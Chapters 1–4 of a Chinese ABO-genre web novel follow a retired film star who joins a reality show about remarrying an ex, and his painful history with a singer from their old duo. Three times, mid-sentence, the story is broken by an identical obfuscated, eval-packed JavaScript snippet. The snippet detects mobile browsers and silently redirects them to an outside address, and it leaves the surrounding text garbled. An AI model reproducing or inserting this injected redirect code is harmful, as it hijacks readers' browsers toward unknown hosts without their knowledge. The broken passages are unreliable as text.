《再爱贱人[ABO]》 1. 八离世家刑影帝 刑少奇接到节目组联络是在下午三点。 彼时他已经息影三年,由于在此期间几乎没有作品,也没有保持曝光。导致“刑少奇”这个三金影帝的名声骤降,不少人甚至以为他已经去世,成为了上个时代的记忆。 所以这通电话能够聊下去,刑少奇很惊奇——现在居然会有综艺节目来找他。 节目组更是惊奇——这样一尊大佛居然能够联系到。 更惊奇的是,刑少奇答应面谈。 面谈当天,屋外下着蒙蒙的小雨。节目组翘首以盼,终于在门口等到一辆黑色的迈巴赫,从车上踏下来一双短靴。 一把伞撑开,遮住了那人的脸。只看到持伞人的右手戴着薄款露指手套,捏着木制伞柄,伞檐缓缓抬高,露出他黑色的发尾,和一双碧绿色的眼睛。 “……邢先生?” 男人点点头,目光不经意扫过人群,露出一点笑意:“各位好。” 他比想象中脾气更好。节目组想。 更重要的是,他比想象中帅。 刑少奇穿着半高领长袖配风衣,只在右手戴着手套。坐在节目组副导对面,翻看起合同。 按道理,刑少奇这种咖位,应该由专门的人员对接他的行程,合同签署过程中,本人甚至不用出面。 但诡异的是,刑少奇身边的工作人员少得令人惊奇,他似乎是孤身前来,连合同都是自己亲自阅览。 面对这位传奇的三金影帝,节目组也只能归结于刑少奇有自己办事的怪癖,忽略了异样。 给他添了茶,副导恭敬道:“我们这是一档复婚综艺。” “目前市面上,恋爱、相亲、结婚、离婚,各种题材的综艺都被做烂了。” “我们必须另辟蹊径,比如——复婚。” 刑少奇停下了翻阅合同的手,看向对面的工作人员。 他感觉时代真是变了。 三年前,刑少奇看过市面上流行的综艺,大都是相亲、恋爱、或者团综。 三年后,他收到的节目邀约,已经略过了恋爱、结婚、离婚,一步到位,直接复婚了。 不过细想起来,这种题材确实有发展潜力。 相比起看不认识的素人谈恋爱,那还是圈内已被证实的桃色新闻更惹人眼球。 而比起歇斯底里的离婚综艺:看深爱的两人如何破灭、怨恨。 具有破镜重圆属性、充满后悔、追求、反省的复婚肯定更有让人深究的欲望。 而节目组显然也知道自己的话题度在哪: “参加这档综艺的嘉宾必须有讨论度,有知名度,有风流情史。他的前任们也得是话题不断,最重要的是—— “所有前任,都必须想要和他复合。” 工作人员咽了咽口水: “寻遍这个圈子,我们只找到了你,刑影帝。” 刑少奇闻言,抬头看了眼对面的人。 他的样貌哪怕在圈内也是首屈一指的。看人的时候,独特的眸色犹如深潭,看得人不由得紧张起来。 节目组此次与刑少奇见面的人员中,不少人根本没看过刑少奇的作品,因为他主要出演小众的文艺片。 但无一例外,他们都听说过刑少奇的绚烂情史。 那是圈内公认的传奇。 以目前可知的消息,刑少奇18岁出道,算上息影的三年,虽不满30岁,却已在圈内沉浮10年有余。 在此期间,他的前任包括而不限于: 顶流歌手、名流巨星、著名导演、戏内生情的影帝…… 还有捕风捉影,暂没有实锤的总裁、圈内富少…… 如此丰富的履历,让不少人戏称刑少奇是八离世家。 流言真真假假,节目组哪怕去除那些不实消息和炒作,也能扒出来不少关于刑少奇的、有流量有话题的前任。 加上,虽圈内桃色绯闻繁多,但多到刑少奇这个程度的,也是少之又少。 更别提这位形影帝的每一位官宣前任,都或多或少有被拍到“痴情挽留”“痛哭流涕”“萎靡不振”的证据,刑少奇也由此被称为现实“火葬场”送葬人。 综合看下来,就连刑少奇自己也觉得,他确实是圈内最合适的嘉宾。 “我可以接,但他们不一定会来。”刑少奇开口,他回想了一下自己的情史,发现那些人虽贱但无天收,一个个活得位高权重、名利双收。 而这样一档复婚综艺,不仅会揭开刑少奇和他们那段并不体面的过往,以刑少奇的性格,说不定还会让前任们颜面扫地,自取其辱。 上综艺嘛,一为名气,二为利益。这俩那些人都不缺,何苦和刑少奇周旋。 又不是犯贱。 刑少奇自己也清楚,那些人当时和自己分手,大多都不太体面,来综艺上提及过往,难免会有黑历史重见天日,虽说黑红也是红,但到了那群人如今的地位,只怕这黑大于红。 况且,刑少奇自觉不是个惹人难忘的前任,桃色新闻大多也是媒体渲染所致,而让粉丝们念念不忘的“火葬场”? 在刑少奇眼中,不过是那群人自诩深情的自我感动型演技。 不过刑少奇确实很需要这档综艺。 他的视线落在综艺录制要求上,那里写着一行字: 24小时不间断直播录制。 戴薄黑手套的那只手轻敲桌面,刑少奇思索片刻,觉得应该没人会来。 百害无一利,他那些前任不蠢,不会用这样一档复婚综艺败坏人缘。 这综艺对于他们而言,唯一称得上好处的,就是有个机会能和刑少奇再续前缘。 这很重要吗? 反正刑少奇不觉得。 他从不玩藕断丝连的纠葛戏码,对于每一段感情都全力以赴,放弃时也是干脆利落。 所以那些前任至今躺在他的黑名单里,无事不联系,有事更不联系——难道让他们来看笑话? 刑少奇呷了一口茶,已想好如何与节目组周旋——反正他前任颇多,大家也不全认识。随意找两个圈内人,说他们和自己谈过,也不是难事。 这么想着,便把茶水饮进去。入口是一股清冽的茶香,隐约的甘甜萦绕在舌尖,难言的熟悉令刑少奇皱起眉。 这茶是……他的前任之一,一个酷爱装x的家伙,最爱喝的。 更重要的是,这茶叶娇贵,泡茶前工序繁多,唯有按着繁琐的步骤一步步走下来,才能泡出后调的甘味。 能有这门手艺的不多。 刑少奇算一个,但他比不过那位装哥。 茶杯落下,他看向副导,对方咽了下口水,给他添了新茶。 从头到尾,导演没有饮过茶水。而刑少奇饮下手中第二杯,只觉甘味更盛。 ……那家伙这么闲吗?来这里泡茶玩? 刑少奇想找地方把嘴里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538384|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶水都吐掉。 “您不用担心。事实上……”副导有些紧张地开口,“就是您的前任…们,全都答应了,我们才能拿到您的联系方式。” “……”刑少奇挑眉。 原来真的是犯贱。 “你确定?”刑少奇把茶水倒了,换上杯白水,“如果是集体中邪了,我可以找个大师帮他们看看。” 副导似乎预料到他会这么说,拿出来已经备好的资料。 几份一模一样的合同,无一例外都加了附加条件—— 需要刑少奇确认出演,方能生效。 饶是刑少奇本人,也感觉莫名其妙。 他翻看了几份,看到了熟悉的名字,也看到出乎意料的人名。 这其中,有几个人确实和他爱得轰轰烈烈,分手时也是触目惊心,因此尚可理解。 但有些人,在他眼中不过各取所需,谈情都称不上的关系,不过是当时领了个证,现在居然也好意思谈复婚。 “好吧。”刑少奇并不纠结。天不收傻x,他就替天行道。 他伸出手,节目组便立马递上笔。普通的中性笔落在他的掌心,被黑色薄布料托着,身价都好像上去了些。 签字前,刑少奇说,“我可以参加节目,但我不能保证自己说的话、做的事可以放出,如果他们愿意,我可以签字。” “另外,我必须提前说明。” “观看综艺之后,如果对这些人的声誉造成影响,我概不负责。” 副导戴着蓝牙耳机,听到里面的声音,才迟疑着点点头。 同时,听到刑少奇的话,他的眼神本能地落在角落里的摄像机上,忍不住开口找补:“一般来说…爱情是双方的过错……”意思是刑少奇别说得像是自己没错一样。 刑影帝嗤笑了一声,也随着副导的目光看向隐藏式摄像头的方向,接着道:“谈情说爱?他们也配?” 他就这么直勾勾地看着摄像头,碧绿色的瞳眸好似注视着镜头背后的人,开口道。 “当初把我当狗玩的一群垃圾,如今还上赶着做狗了。” 一时间,不知是谁的冷汗落下。 刑少奇的眼神不紧不慢,收回来,在合同上签下自己的名字。 递回合同时,他不经意地挪了下位置。 “节目名定了吗?” 副导的蓝牙耳机里传来指示,说镜头看不到刑少奇的脸。 他心下一惊,小心翼翼地接过合同,看向刑少奇的脸,发现这位影帝好像没有发现隐藏式摄像头。 那枚小巧的摄像机正藏在远处的花盆里,在把刑少奇的表现一览无余地记录下来。但并不会进行公开,所有录制内容最后会发送至私人邮箱,成为某些人的专属。 “还没有,我们有这几个选择……”副导给刑少奇看了几个名字,趁着讨论的间隙,有人立即奔到角落,调整摄像的位置。 副导:“但我们采取直播制,应该很快就开播,您不用担心。” 刑少奇点点头,又恢复了原先的姿势,他的声音平静:“下次别去调整摄像头,显得此地无银三百两。” 副导的身体僵了僵。 接着,刑少奇的目光落到字上,念出来第一个,“复婚吧,我的爱人?” 他勾唇笑了一下,“既然是选我做嘉宾,让我重新选他们中的一个。那不如考虑改名叫——” “再爱贱人。” 2. 午夜凶铃 刑少奇参加综艺的消息在网络上引起轩然大波。 这档复婚综艺采取直播与录制结合的形式播出,除了刑少奇作为主嘉宾,还有八个前任作为飞行嘉宾参与。 每个前任将单独与刑少奇相处,自行设计约会地点、方式,值得一提的是,每个人只有三期的出场时间。 除此之外,尽管这八位前任暂时还没有官宣身份,在海报中也是以剪影的方式出现。但熟悉他们的粉丝群体自有一双慧眼,足以在八团黑影中明察秋毫,认出自己的正主。 一时间,各类谩骂嘲笑、吃瓜讥讽如流水般占领了超话、评论。 而依靠剪影被认出来的几位大咖,其粉丝群也被不免被波及。更有不少对家趁乱浑水摸鱼,一片混战后,圈内的攻击方式都变成了—— “我担没和刑少奇谈过,你呢?” 更是诞生了词条 #圈内没被水皇祸害的还有多少# 水皇,是黑粉对刑少奇的称呼。 这个名字的由来渊源已久,就连刑少奇本人都是在营销号的科普下才能了解全貌—— 作为青史留名的影帝,也是圈内最年轻的大满贯。刑少奇拿下三大电影奖时不足25岁,却在名声大噪之时骤然退圈。 而他爆火的那两年。绯闻、八卦冲淡了他的传奇色彩,获得荣耀的那几部文艺片,又因为题材原因,在当时无法正常上映。 于是国内想要了解刑少奇的吃瓜群众们,既不能搞到他获奖的电影资源,又很难为了吃瓜跑去国外看一部影片。只能看看刑少奇在国内残存的影像纪录——但偏偏,刑少奇是个非科班演员。 他以idol的身份出道,早年出演过不少偶像剧。 演得很烂的那种。 于是国内对刑少奇的总体印象,就是一个花边新闻繁多,演技奇烂,却拿了大满贯的注水影帝。 含水量百分百。 刑少奇也由此被骂“水皇”。 尽管后面放宽限制,刑少奇的作品得以在国内重映。但此时他已经退圈,影响力大不如前。对于那些流言蜚语,自然也不会主动辟谣。而少数看了电影帮他澄清的人,也因为热度等因素,没有翻起水花。 种种原因,最终导致刑少奇于三年内迅速哑火。又在三年后,于综艺官宣时,被人大做文章。 流言伴随着各类黑历史甚嚣尘上时,刑少奇本人也得到了消息。 对此,刑少奇表示:“干得好。” 数据显示,节目尚未开播,但至今只爆出刑少奇一个嘉宾的情况下,节目的热度和搜索量已经远超同期、甚至是已开播的节目。 借着大家猜测嘉宾真实身份、各路对家下场搅混水、还有节目组偷偷买热搜的风,刑少奇的个人搜索量一飞冲天,他的名字也再度被观众熟知。 ——虽然是贬义的“熟知”。 成为这样不光彩的“水皇”后宫,对于许多粉丝都是难以接受的事情。于是骂声愈演愈烈,甚至发展到谁是刑少奇前任谁眼瞎的地步。 关于刑少奇的词条也越来越多,甚至连节目也被骂炒作、蹭热度、搞竞争。 在这样的舆论中,节目组顶着一片骂声,放出了预告片。 因为是直播,所以节目组的预告更像是一种点到即止的科普。短短30秒的视频里,绚烂的荧光棒汇成荧荧光海,舞台上的两人相望对唱,镜头扫过其中一人的脸—— 赫然是年少的刑少奇。 他看起来实在是年轻,四肢细长,如抽芽般生长。黑发比现在更短,那双碧绿色的眼睛却很亮,戴着耳麦,拿着贝斯,眼神里,像是盖了一层水光。 哪怕是再苛刻的人也无法否认这张脸的惊艳。 而刑少奇对面的人,随着镜头缓缓抬高,终于露出了全脸—— 一头桀骜的红发,梳成辫扎在脑后,英俊的样貌比起刑少奇,更带了几分锐利与攻击性。 看到他的那秒,弹幕集体寂静。 很快,随着节目组的海报更新,第一位嘉宾身份伴随着冲上热搜的话题被迅速传播。 #刑少奇邵阎# #red and green# #十年了,我嗑的cp原来是真的# 而节目组趁势放出第一期的标题—— 《好久不见》。 与此同时,关于刑少奇的黑料都如尘沙般消散无踪。 这不是刑少奇的手笔,也不是节目组好心帮忙。 刑少奇还没有去猜是谁压的消息,便在直播开始的前一晚,接到了一个陌生来电。 彼时他已经下榻节目组订下的酒店,套房内只有他孤身一人。没有助理和私人保镖,任谁看都是一副不可思议的景象。 只有刑少奇知道,身边的人越少,他越安全。 随着明天节目开播,他的周围将会遍布24小时不间断的镜头监视,那意味着…… 没有人,可以在众目睽睽之下将他带走、囚禁,伪造失踪或者当场杀害。 刑少奇摸了支烟,并不抽。 站在露台吹风,半封闭式的露台能俯瞰远处的城市灯火,他把烟夹在指尖,像是转笔一样,轮番在四指中变换位置。 这是他放松时才会出现的习惯。 也就是这个时候,电话铃声响起,声音划破了黑夜的寂静。 刑少奇的身体猛地僵硬。他感到自己的心跳忽地加快,指尖的烟蓦地停止旋转,一切好像在铃声中不断放慢,他感觉全身发冷,好像血液都凝固。 循着声音的来源,他从口袋里抽出手机。 一个陌生的号码,属地是本省。 现在是晚上十点,这个时间不可能是骚扰电话,节目组的号码他有备注,而其他人…… 他的号码,还没有给过其他人。 有一瞬间,刑少奇想把手机扔下去。 愈发高昂急切的铃声,传到刑少奇耳际。 指尖的烟被揉捻,烟草从顶端冒出碎屑。 他放下烟,接通了电话。 对面是个男声,声音低哑、性感,像是质感醇厚的红酒,语气却是傲慢的。 男人说:“这么久了,还要人帮你。刑少奇,真是越活越回去了。” 听到这声音的第一秒,刑少奇紧张的神经放松下来。 “别误会,我可不是想帮你。只是节目马上要开始,你名声太差的话,肯定会影响我。”男人继续道,“你这么多年没回国,肯定不懂现在的环境。这种综艺水太深,你根本……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538385|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “劭阎。”刑少奇打断,他重新拿起那支烟,放在指尖旋转。“别夹着嗓子说话,怪恶心的。你要是没事干,可以自己去泡杯茶喝。别的不说,起码能堵住你的嘴。” “……你怎么知道是我泡的茶?你喝出来了?”劭阎在电话那头的声音忽然变了。他咳了一声,便没了装腔作势的那股低沉味,变成了符合刑少奇印象中的声线。 “除了你,应该没人那么无聊,专门去学用十几道工序泡茶。”刑少奇说。 电话那头诡异地沉默下来。 半晌,劭阎开口:“可你学会了。不是吗?” “……”刑少奇的目光转向远处的灯火,指尖的烟不再转动,“是啊,因为我也很无聊。” 他望着远处的万家灯火,碧绿色的眼睛仿佛被灯光晕染上暖色。手指尖好像又传来隐约的刺痛与滚烫,令刑少奇不由得蜷缩指尖,思绪纷飞,落到当年。 那段在茶室里反复练习、反复观摩的记忆,在他的脑海中开始浮现。 被沸水烫得滚热的茶盏,一次又一次磨过指尖,要忍住刺痛的烫意才能飞去浮沫,洗去浮尘,最后得到一杯清茶。 然后…… 被邵阎连碗带茶,扔在地上。 劭阎似乎想说什么,但又咽下。他笨拙地持续着话题:“其实你学得……还不错。” “你怎么知道?”刑少奇的目光落在指尖,他用拇指揉了下自己的指腹,莫名的刺痛感便消散无踪了,“你从没喝过我泡的茶。” 顿了顿,刑少奇嘲讽道:“倒是看着别人把茶泼到我脸上过。怎么,当时溅到你嘴里了?” 劭阎似乎在电话那头深呼吸了几次,开口时,声音有些摇晃。 “我……当时……”他没有说下去。 沉默在两人之间蔓延,刑少奇望着烟,只觉得很疲惫。 提起那些往事,如果真的要论个对错纠纷,那么这些打着“复合”名头来参加节目的前任,大部分都得以“迫害刑少奇”的名义被逮捕判罪。 邵阎更是应该直接击毙。刑少奇面无表情地想。 邵阎重复了几次,声线都不稳了,还是没说出来什么。 而刑少奇不多的耐心彻底耗尽。 终于,在邵阎开口的那一刹那,刑少奇扔掉了烟,挂断了电话。 也顺手将邵阎的号码备注,并把手机静音。 他没有拉黑,因为明天的行程还要靠邵阎安排。等节目结束,他会考虑直接把电话号码销号。 临睡前,刑少奇刷到营销号,里面说邵阎将参加复婚综艺《再爱》的录制。 刑少奇懒得看完,直接拉到最后,发现后面跟了一段邵阎的舞台。 当熟悉的旋律传入耳朵,配合的声线却不似刑少奇记忆中那样朝气时,刑少奇这才意识到。 距离他和邵阎出道,已经有十多年了。 多年的表演生涯,让邵阎的声音发生了改变。电话里,一开始在刑少奇听来“刻意”的声线,才是邵阎现如今正常的发音。 但通讯的那段时间,邵阎居然一直在刻意伪装自己的声线,努力变成刑少奇记忆中,那个年少的他的嗓音。 哪怕中途失态到声音发抖,说不出完整的语句,也没有忘记维持声音。 3. 陈年往事 《再爱》第一期直播,选在一个风和日丽的周末。 正式直播之前,刑少奇与邵阎的名字引发了小范围震荡。 毕竟他们一同出现在大众视野,已经是十年之前的事情。 十年前,“red and green”出道。这个由刑少奇和邵阎组成的双人演唱组合,凭借多样的曲风,不俗的外貌,还有独特的作曲能力,成功打入市场。 然而这个组合命途多舛。 先是反复爆出队内霸凌,指出邵刑两人关系不好。后邵阎被曝有绯闻男友,在街上遇到狗仔后怒骂对方并竖中指。 不久后,又有人爆料,说邵阎在和刑少奇交往,那个男友就是刑少奇。 ab恋并不是社会主流。但当时正有ao匹配度高,就必须结合的规定,许多ab伴侣被迫分开,引发舆论。刑少奇与邵阎的出现,受到ab恋群体的关注,也因此得到了不少人支持。 各种八卦访谈、狗仔偷拍下,人们找到不少甜蜜线索。 但是,很快有人发现刑少奇并不是个好beta。 他出演偶像剧,僵如朽木。 明明是创作歌手,却没有自己署名的歌。 还被传私生活混乱,对不起邵阎等…… 风评一塌糊涂。 舆论甚嚣尘上,甚至要求给邵阎换一个搭档。 而公司居然舍不得刑少奇这个花瓶,硬是往组合里加入了一个omega,秦然。可算是保住了刑少奇的位置,也稍稍安抚了舆论。 三人组成临时拍档,举办了第一次演唱会。 但这次演唱,出现了舞台事故。 一场意外火灾,邵阎和秦然安全无事,唯独刑少奇留在火海,重伤。从此组合分开,刑少奇这个名字尘封许久。 组合只存在了短短两年,是是非非随着时间冲刷已经逐渐淡去。 这次综艺,刑少奇和邵阎再度同台,让当年追过他们的人心情微妙。 嗑过、追过、讨厌过,但十年以后再度相逢,其实说不出具体感受。 加上刑少奇又是以那样的原因离开,更让这件事蒙上一层阴霾。 只是当年那些暧昧、那些不曾见光的,藏在慢放镜头里的眼神、舞台下同款的饰品、那些让人上头的回忆……此刻有机会证实真假,寻求真相,怎能忍住不去探究。 因此,《再爱》第一期,饱受关注。 周末,清晨八点。 刑少奇完成造型。推开酒店房门,迎面就是摄像机和反光板。他的一举一动从这一刻开始,将全部袒露在大众审视的目光下。 黑黝黝的镜头直对着刑少奇的脸。他没怎么上妆,只是将眼底的乌青稍作掩盖,发型略微打理。今天也穿了高领的衣服,外搭黑色外套。透过领口边缘,可以看到一小圈金属光泽的环状物。 刑少奇也没料到节目组会从出门的这一刻便开始直播。他只愣了一瞬,便挥挥手,和镜头外的观众微笑示意。 直播间突然涌入许多弹幕。 【那是omega环吗?刑狗不是beta?】 【……帅哥,我靠,帅哥……】 【项链吧?他要是omega怎么可能被分手?】 刑少奇自然是看不到疯涨的弹幕,挥手后,便按照节目组的安排,进入采访厅。 他比节目计划的早到了十分钟,不早不晚的礼貌时间。奇怪的是,说是采访,节目组却没有配备提问的工作人员,偌大的采访厅里是一张布艺沙发,已经坐了一个人。 红发,倚在沙发右侧,穿了简单的短袖长裤,露出的小臂上缠绕着繁复纹身。刑少奇推门进去的那一刻,他抬头,和刑少奇对上视线。 瞳色很浅,偏黄,看起来几近蜂蜜的颜色。盯着刑少奇,半晌,很是嘲弄地冒出来一句:“不愧是影帝,面子真大。” 说话的时候,他坐正了。 刑少奇轻点了下头,走进去:“是你来太早了,邵阎。” 感受到沙发下陷,邵阎的背直了不少。 刑少奇调整好衣领的话筒,目光环绕采访厅一圈。采访厅陈设简单,除了基本的拍摄道具,只剩下一张沙发,白色圆桌上放了水。 还有一张纸。 刑少奇拿起来,发现那纸其实是封信。看起来是早被拆出来的,大致是说,采访的问题会通过广播宣读,同时,采访过程将在xx平台直播,随即抽取幸运观众的弹幕进行回答。 节目组贴心地附上一句:“准备好的话,就按下遥控器开关,开始答题吧~” 刑少奇拿着信,没发现桌上有遥控器。视线寻找半晌,掠过身边的邵阎,对方撑着下巴在看他,两人四目相对,邵阎的目光先移开,抓起一旁的遥控器,“我打开了。” 手指按了下去,邵阎忽然意识到什么,手就这么僵住,看着刑少奇,有些不熟练地道:“看好规则了没?” 刑少奇因为他的问话感到些许惊奇,他还以为按照邵阎的性格,应该早在他找遥控器的时候,就直接点开屏幕答题了。 刑少奇点点头。 邵阎松开手。面前的屏幕突然亮起,上面是两人直播的画面。 左下角飞速掠过不断刷新的弹幕,刑少奇扫了一眼,大部分都是邵阎的粉丝发言。 广播传来第一个问题:“请两位自我介绍一下吧。” 邵阎嗤了一声:“还要自我介绍?那我这么多年白唱了。” 刑少奇倒也没觉得不对。 和他半路跑去演戏不同。邵阎自出道以来,一直深耕唱作。出道十余年,从一开始的双人歌唱组合,到后来的著名歌星,又到如今签约了无数歌手的公司老板。邵阎作品无数,名声赫赫,早已经是家喻户晓的著名歌手不说,还是版权大户,一些影视作品甚至会以请到邵阎为荣。 和刑少奇比,他确实不需要介绍。 刑少奇对着镜头笑了下,和观众打了个招呼,“我是刑少奇。” 出乎意料地,邵阎也接了话,“……邵阎。”顿了顿,“‘red and green’的邵阎。” red and green。邵阎和刑少奇组成的双人演唱组合名。 刑少奇太久没听过这个名字,此刻甚至有些陌生。 老实说,和邵阎组合的那段时光,并不算一段美好的记忆——充斥了大量的不甘、失望、无处发泄的痛苦。 和一段堪称笑话的恋情。 还没等反应过来,第一个被抽中的问题出现。 两人都愣了下,看到屏幕。 【邵阎你在夹什么?声音这么o】 “……” 刑少奇的目光扫过邵阎,见他嘴角抽搐了半天,又继续夹着声音:“我就这样。” 刑少奇只觉得有点微妙,更多的是搞笑。 邵阎年纪不小了,还会因为他的一句话置气。 “是我误会了,你正常说话就好。” 邵阎抿着唇,看了刑少奇半晌,恹恹地歪了身子靠在沙发上,回了个“好。”声音就变成性感沙哑的低音了。 广播又问。 “性别是?” 邵阎啧了一声:“alpha。” 刑少奇道:“omega。” 邵阎猛地坐了起来,看了刑少奇半晌,“……你怎么就说出来了?不怕……” 直播间的弹幕顿了下,也跟着疯狂跳动。 怕什么? 刑少奇眼睫动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538386|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,看向邵阎。对方似乎有些懊恼地闭上了嘴。 看到有观众问,“你不是beta?” “我是omega。”刑少奇碧绿色的眼睛看向屏幕,“我解释一下。早年我分化时出了事故,导致腺体没有发育完全,所以被认定为beta。后来……经过治疗,现在是omega。” 快出残影的弹幕里,一个名字落进刑少奇眼底。 【那秦然是三?】 【秦然不是说他和邵阎匹配度超过90,按照法律可以顶替伴侣吗?】 【秦然……】 邵阎神色莫测:“……治疗?” “我花那么多钱都没治好的腺体,你是拿什么治的?” 刑少奇看向他。“alpha的信息素。” 一时间,邵阎脸色巨变。 ao标记会促进信息素分泌,而作为信息素的源头——腺体,自然也会反过来被信息素促进生长。 刑少奇的意思是,有alpha标记了他,给了他信息素,给的量甚至令刑少奇的腺体都‘被迫’恢复。 “你没给过我信息素。”刑少奇说,“你说了,你的信息素给我这种人是——” “刑少奇。”邵阎打断。 “浪费。”刑少奇说出来。 两人本勉强算作和谐的气氛骤然僵硬。空气里燃烧起一股浓烈的灼烧气味,刑少奇愣了下,才发现这是邵阎的信息素。 18岁那年,刑少奇百般渴望的东西,如今就这样出现,令他颇感意外。 毕竟当年邵阎可是和他说过,残缺的omega,既然不能标记,给了信息素也是浪费。 原来他不残缺了,这信息素除了秦然,也就能分给他了。 看着邵阎明显沉下来的脸色,刑少奇听到广播颤巍巍地响起。 “请问,两人初见的地点是?” 刑少奇思索片刻。 组合成立的时候刑少奇18岁,邵阎20岁。如今一晃十多年过去,那些记忆都纷纷化作尘埃挥散,需要伸手去捉才能勉强看到手心的残片。 “餐厅。”刑少奇有些意外自己的记忆力,他居然记得很清楚,“说要让我和邵阎组合。” 与此同时,邵阎顿了顿,开口道,“练习室。” 邵阎没看刑少奇,“凌晨两点,我看到你还在。所以和经纪人说,选你做搭档。” “……”刑少奇看向邵阎。 忽然笑,“我倒还不知道。原来当时选我,是因为你觉得我努力?” 邵阎点点头,目光瞥向刑少奇,松了口气的样子,“你是唯一一个,会天天熬到那么晚的。” 说话的时候,邵阎的语气显得很怀念。 他的目光落在刑少奇身上,对上那双绿色的眸。时间好似穿梭到了过去,令他想起和刑少奇初见的日子。 那时候刑少奇很瘦弱,据说是出了车祸,刚刚出院。为了赶上进度,很拼命地练习。 邵阎每次见到他,都是凌晨。刑少奇沾湿的发尾,常贴在脸颊上,那双绿色的眼睛却很亮,很像沉了月亮的湖水。 刑少奇望着邵阎,不笑了。 “我还以为,你是觉得帮秦然抢了我的位置,所以想要补偿。” 好似一阵惊雷落下,邵阎浑身僵硬。 18岁的刑少奇,刚刚出院。 他很有天赋,也很努力,已经内定了要作为组合的主唱出道。 出院后,他拼命练习,为了不拖累团队进度。 然而那时他并不知道,自己再努力,都是徒劳无功。 因为本该属于他的出道位,已经被另一个人占据。而罪魁祸首,帮其抢夺了刑少奇位置的人。就在练习室外看着他白费功夫。 4.“能力不足” 刑少奇此刻在节目里回想起那段日子,只觉得无比讽刺。 他都不知道,原来当时练习室外还有个邵阎,原来他的努力曾被这个罪魁祸首尽收眼底。 毕竟那年他废寝忘食地练习,反复修改唱词,一点点追赶上进度,只是为了保住位置。 但邵阎只需要一句话,刑少奇便收到通知,秦然将顶替他的位置加入组合。 被淘汰的理由,是能力不足。 接到通知的那一刻,刑少奇只觉得大脑轰鸣一声。好像世界在一瞬间寂静下来。因为跳舞变得酸麻的手臂失去了知觉,他望着那四个字,好像有什么要冲破胸膛。 愤怒,不甘,难以置信。 刑少奇不懂,为什么秦然一个从未露面的新人可以代替他,为什么身为舞蹈担当要以主唱的身份出道。 然而,选择秦然的理由能有很多,可淘汰刑少奇的借口,却只有一句。 “能力不足。” 组合出道那天,漂亮的omega站在团队c位,刑少奇坐在屏幕前看完了整场表演,沉默不语。 手机里传来喧闹的舞曲。可房间里,那耗尽心力创作的谱子,因舞蹈添上的新伤,都跟着刑少奇,一同沉默。 那之后,出道于他变成了一场可望不可及的幻梦。 而原本以为的转机,也在得知真相后变成一种讥讽。 某个夏日的傍晚,经纪人联系刑少奇,“你还有一个机会。” “下半年有个要出道的双人组合,空缺了一个位置。” “可以来试试。” 按照经纪人的定位,刑少奇找到一家会员制餐厅。 在最深处的包厢,他看见坐在主座的邵阎,和一旁谄媚的经纪人。 邵阎正将茶水推开,说了句“便宜货。”再抬头,便和刑少奇对上了眼。 “…马马虎虎。” 这是邵阎对刑少奇说的第一句话。 刑少奇也是后来才知道,这已经是邵阎看过无数备选搭档后,给出的最好评价。 这句话让刑少奇再度踏上舞台。 ——因为公司最大的股东,也姓邵。 可惜的是,当时刑少奇并不知道。他只以为邵阎是个有点小钱,逐梦演艺圈的少爷。 而这位一看就是为梦想奋不顾身的少爷,和刑少奇这个只想挣钱赚药费的家伙,显然尿不到一个壶里。 偏偏这两人组成了搭档,分到一个宿舍。邵阎这实心眼的梦想家,还真就下凡和刑少奇住到一块儿。 这下好了,毕竟宿舍里只有一个马桶。 尿不到一起都难。 邵阎本来就是个大少爷,脾气坏,嘴巴毒,还挑剔。 刑少奇写好曲子,他要改个七八次。刑少奇填上歌词,他要换个五六回。 刑少奇也懒得伺候,邵阎谱好曲子,他也揪着错误不放,邵阎记错动作,他毫不留情指出。 每当这时,邵阎就会撩起红发,瞥他一眼。 好像在生气,又好像很高兴。 换作十年后的刑少奇看见了,一眼就能看出,那是一种侵略性极强、富含“你很有趣”之意的眼神。 但十年前,刑少奇是个白天练习,晚上打工还债的清纯o,腺体还因为车祸残缺了,哪里看得出来这些杂事。 他满心只想着怎么挣钱。 和邵阎做舍友三个月,刑少奇找到份夜班兼职。 凌晨三点才能回宿舍。上班不到一周,连续几日没睡好觉的邵阎语气阴森:“你要是这么缺钱,不如给老子当保姆。我开价绝对比你那点时薪高。” 刑少奇累得要死,反问邵阎,“你开价多少?” 邵阎神色不明:“你要多少?” 寂寂深夜,刑少奇脱下外套,摆手道,“别犯病——” 他转身,恰有一束月光进来,从身后笼着邵阎。刑少奇因此看到邵阎侧过头,露出泛红的耳垂。 忽然意识到什么。 邵阎不去看他,道,“你要多少,我就能开多少。” 一丝情愫就此扎根,逐渐抽长,发芽。 根植于感动,又被感动扭曲,逐渐成为碾碎刑少奇尊严的有利武器。 